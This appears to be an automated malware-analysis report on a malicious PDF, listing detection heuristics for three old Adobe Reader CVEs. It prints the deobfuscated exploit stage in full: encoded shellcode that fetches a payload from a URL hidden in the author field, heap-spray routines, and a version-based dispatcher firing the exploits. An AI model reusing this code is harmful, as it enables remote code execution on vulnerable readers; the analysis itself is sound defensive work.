MALICIOUS
408
Risk Score
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 9
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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JavaScript heap-spray padding critical PDF_JS_HEAP_SPRAY_PADDINGA document-level /JS stream decompresses into a large blob that is almost entirely ASCII whitespace wrapped around a small code core. This is the classic JavaScript heap-spray shape — the padding is the spray buffer used to position shellcode at a predictable address before a parser CVE fires. Benign PDF JavaScript is never megabytes of whitespace, so this is treated as malicious even when the inner exploit stage cannot be decoded to an exact CVE.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0024_000.js |
pdf-javascript-stream | PDF /JS object 24 at offset 0x33A2 | 1101338 bytes |
SHA-256: d4154f8d42f087e077da148c704a3763ea51fe97cb9998052625917058fb0f91 |
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Preview scriptFirst 1,000 lines of the extracted script
var qH = [ "es" , "ca" , "pe" , "un" , "" ]; x = new String ( qH [ 3 ] + qH [ 0 ] ... (truncated) |
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3701 bytes |
SHA-256: 37763e9939f6a5f8e02979deb392f349e1cca413244993b69a717b02f724ea02 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
feBFfeeFVffeFFFVFFFfFFFeFffeVVe2eeVfbVfFFbVV%%Vf%%%fffV%e%FeFF#eFF
var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
function get_shellcode(name) {
var u = get_url();
var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1440%u008B%u008B%u588B%uEB10%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u65B8%u652E%uAB78%u9866%uAB66%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u5231%uB850%u1A36%u702F%u55FF%u5B04%uFF33%u5657%u98B8%u8AFE%uFF0E%u0455%uB857%uCEEF%u60E0%u55FF%u6804%u7474%u3A70%u2F2F";
s+= u;
return unescape(s);
}
function get_url(){
var str = this.info.author;
var ret = encode_str(str, dest_table, src_table);
return ret;
};
function encode_str(str, src_table, dest_table){
var ret="";
for(var i=0; i < str.length; i++)
{
var index = src_table.indexOf(str[i]);
if(index > -1 )
{
ret += dest_table[index];
}
}
return ret;
};
function sRLZYf(GLxg,THaby){while(GLxg.length*2 < THaby){GLxg+=GLxg;}GLxg=GLxg.substring(0,THaby/2);return GLxg;}function jnr(){var KdRvw=get_shellcode("CollabUTIL");
var YaM=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
var VuyYV=YaM+KdRvw;var nYhg=unescape("%u0A0A%u0A0A");var UEXZT=20;var EdaVEk=UEXZT+VuyYV.length;while(nYhg.length < EdaVEk){nYhg+=nYhg;}var QLq=nYhg.substring(0,EdaVEk);var cNKsm=nYhg.substring(0,nYhg.length-EdaVEk);while(cNKsm.length+EdaVEk<0x40000){cNKsm=cNKsm+cNKsm+QLq;}var LPmEhRU=new Array();for(var i=0;i<1400;i++){LPmEhRU[i]=cNKsm+VuyYV;}var yLWdSkq=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",yLWdSkq);}
function ZmRpQ(){var tLTsV=get_shellcode("CollabEMAIL");
var LPmEhRU=new Array();var FNeZZn=0x0c0c0c0c;var MaLjNA=0x400000;var tcwXwm=tLTsV.length*2;var THaby=MaLjNA-(tcwXwm+0x38);var GLxg=unescape("%u9090%u9090");GLxg=sRLZYf(GLxg,THaby);var xEB=(FNeZZn-0x400000)/MaLjNA;for(var NcGEjzZ=0;NcGEjzZ < xEB;NcGEjzZ++){LPmEhRU[NcGEjzZ]=GLxg+tLTsV;}var dcv=unescape("%u0c0c%u0c0c");while(dcv.length<44952){dcv+=dcv;}this.collabStore=Collab.collectEmailInfo({subj:"",msg:dcv});}function wcc(){if(app.doc.Collab.getIcon){var pfGH=new Array();
var Yutw=get_shellcode("CollabICON");
var Jkw=Yutw.length*2;var THaby=0x400000-(Jkw+0x38);var GLxg=unescape("%u9090%u9090");
GLxg=sRLZYf(GLxg,THaby);var QhcpRBAy=(0x0c0c0c0c-0x400000)/0x400000;
for(var VUrd=0;VUrd < QhcpRBAy;VUrd++){pfGH[VUrd]=GLxg+Yutw;}var FrhvTVk=unescape("%09");while(FrhvTVk.length<0x4000){FrhvTVk+=FrhvTVk;}FrhvTVk="N."+FrhvTVk;app.doc.Collab.getIcon(FrhvTVk);}}function RUCXp(){var ZttFWtXh=app.viewerVersion.toString();ZttFWtXh=ZttFWtXh.replace(/\D/g,'');var gWehQ=new Array(ZttFWtXh.charAt(0),ZttFWtXh.charAt(1),ZttFWtXh.charAt(2));if((gWehQ[0]==8)&&(gWehQ[1]==0)||(gWehQ[1]==1&&gWehQ[2]<3)){jnr();}if((gWehQ[0]<8)||(gWehQ[0]==8&&gWehQ[1]<2&&gWehQ[2]<2)){ZmRpQ();}if((gWehQ[0]<9)||(gWehQ[0]==9&&gWehQ[1]<1)){wcc();}}
RUCXp();VeFVVBVB%fffbe#fF&FefFffF&FB&B&VfFeeeVVFFF$$Ff&&&ReVFRRRRRFVtV��V���V՛��V���
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